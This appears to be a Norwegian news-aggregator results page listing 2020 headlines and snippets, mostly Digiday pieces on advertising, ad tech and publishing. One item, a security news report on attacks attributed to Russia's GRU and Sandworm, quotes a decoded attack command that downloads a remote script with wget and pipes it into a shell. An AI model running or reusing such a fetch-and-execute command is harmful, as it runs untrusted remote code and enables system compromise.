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1. Viktig?Mandag 27. juli 2020 kl. 06:01
‘People have to be more aware of bullshitters’: Why there’s a push for more realism in advertising now
In advertising, there’s long-been a “fraud problem” in that the industry has a surplus of poseurs or bullshitters. The post ‘People have to be more aware of bullshitters’: Why there’s a push for more realism in advertising now appeared first on Digiday.
Treff:
e more aware of bullshitters now,” said an agency exec, adding “People have to be more risk averse due to tighter margins and bullshit ideas tend to be more nebulou
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2. Viktig?Fredag 24. juli 2020 kl. 06:01
WTF are shadow blocklists and how they can take a bite out of publisher revenue
Shadow blocklists are a catch-all term to describe those instances where a buyer inexplicably stops bidding for ads on a publisher’s ads. The post WTF are shadow blocklists and how they can take a bite out of publisher revenue appeared first on Digiday.
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e answers isn’t straightforward, as XDA Developers’ execs discovered. “Google may own both sides of the marketplace, but they’re separate entities so a publisher ca
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6. Viktig?Fredag 10. juli 2020 kl. 06:02
TikTok’s self-service platform launch is perfectly timed to kick Facebook while it’s down
'I can’t emphasize how aggressively [TikTok] is trying to take share at the moment,' said one agency exec. The post TikTok’s self-service platform launch is perfectly timed to kick Facebook while it’s down appeared first on Digiday.
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hief executive officer, who is based in the U.S. The Wall Street Journal reported earlier this week that ByteDance is considering changing TikTok’s corporate struct
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8. Viktig?Onsdag 08. juli 2020 kl. 06:03
‘My white colleagues are looking to me for answers’: Confessions of a Black ad tech exec
While the ad tech has taken strides toward being more inclusive, it has also suffered setbacks, according to a senior Black exec. The post ‘My white colleagues are looking to me for answers’: Confessions of a Black ad tech exec appeared first on Digiday.
Treff:
The most senior Black exec at a global ad tech firm is exhausted. In the weeks since George Floyd’s killing triggered a reassessment of the ways in which racism is
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10. Viktig?Mandag 06. juli 2020 kl. 06:05
Sex toy sales are up and publishers are seeing an opportunity to grasp
Due to limitations from social platforms blocking sexual content from retailers in paid post, publishers are capitalizing on the increase in sex toy sales. The post Sex toy sales are up and publishers are seeing an opportunity to grasp appeared first on Digiday.
Treff:
categorized as “non-essential.” One lifestyle media executive, who spoke on the condition of anonymity, said that while the sex toy category is performing really we
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11. Viktig?Torsdag 02. juli 2020 kl. 06:00
The Facebook ad boycott could help publishers swing the pendulum back to context
Publishers have a golden opportunity to shift thinking around the role context, broadly defined, should play in advertising. The post The Facebook ad boycott could help publishers swing the pendulum back to context appeared first on Digiday.
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ook is going to remain a behemoth alongside Google and Amazon. For meaningful budgets to shift, publishers must narrow the gap on performance. “You have to at least
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13. Viktig?Torsdag 11. juni 2020 kl. 06:04
‘Can it be done quickly?’: Publishers find speed essential as ad budgets pop up
Agencies say they’re working faster with fewer people, turning a project around in four days rather than four weeks, said a publishing executive. I don’t know if that’s just PR. The post ‘Can it be done quickly?’: Publishers find speed essential as ad budgets pop up appeared first on Digiday.
Treff:
teams. “‘Can we do programmatic and can it be done quickly?'” said the executive. “We’re having those conversations much, much more now.” Macro-market dynamics and
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14. Viktig?Onsdag 03. juni 2020 kl. 06:00
How Channel4 is expanding its in-house content agency
Agencies say 4Studio marks the further convergence of broadcast and social platforms and the credibility of the latter. The post How Channel4 is expanding its in-house content agency appeared first on Digiday.
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nilad commercial director Matt Ford to drive sales. Ex-Mother exec Sophie Lloyd is heading up the initiative as branded entertainment and creative leader. “The bran
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16. Viktig?Fredag 29. mai 2020 kl. 11:39
Hevder russiske GRU står bak angrepskampanje mot utbredt server­program
Sikkerhetsaktører er ofte forsiktige med å påstå hvem som står bak IT-angrep, siden dette kan være ...
Treff:
L FROM: Dekodet blir dette:/bin/sh -c exec /usr/bin/wget -O http://hostapp.be/script1.sh | bash I angrepene som utføres av Sandworm, blir det lastet ned et skript
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17. Viktig?Torsdag 28. mai 2020 kl. 06:01
The premature funeral for events
Events were always a means to an end for media. The driving force of a successful events model was stitching together a community with a common interest. The post The premature funeral for events appeared first on Digiday.
Treff:
$100 million to Spotify. Another media exec compared the old way of connecting with audiences as “molly-fueled one-night stands” and the future resembling true rel
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19. Viktig?Torsdag 21. mai 2020 kl. 06:01
The needed maturation of the media business
This crisis is affecting all publishers but unequally. Those with more mature businesses -- in the positive sense -- are poised to take disproportionate share. The post The needed maturation of the media business appeared first on Digiday.
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g CRO’s admission: “Our Q2 is going to be better than last year’s,” the exec said. “I’m really proud of that. It’s been painful, but we’re more insulated because of
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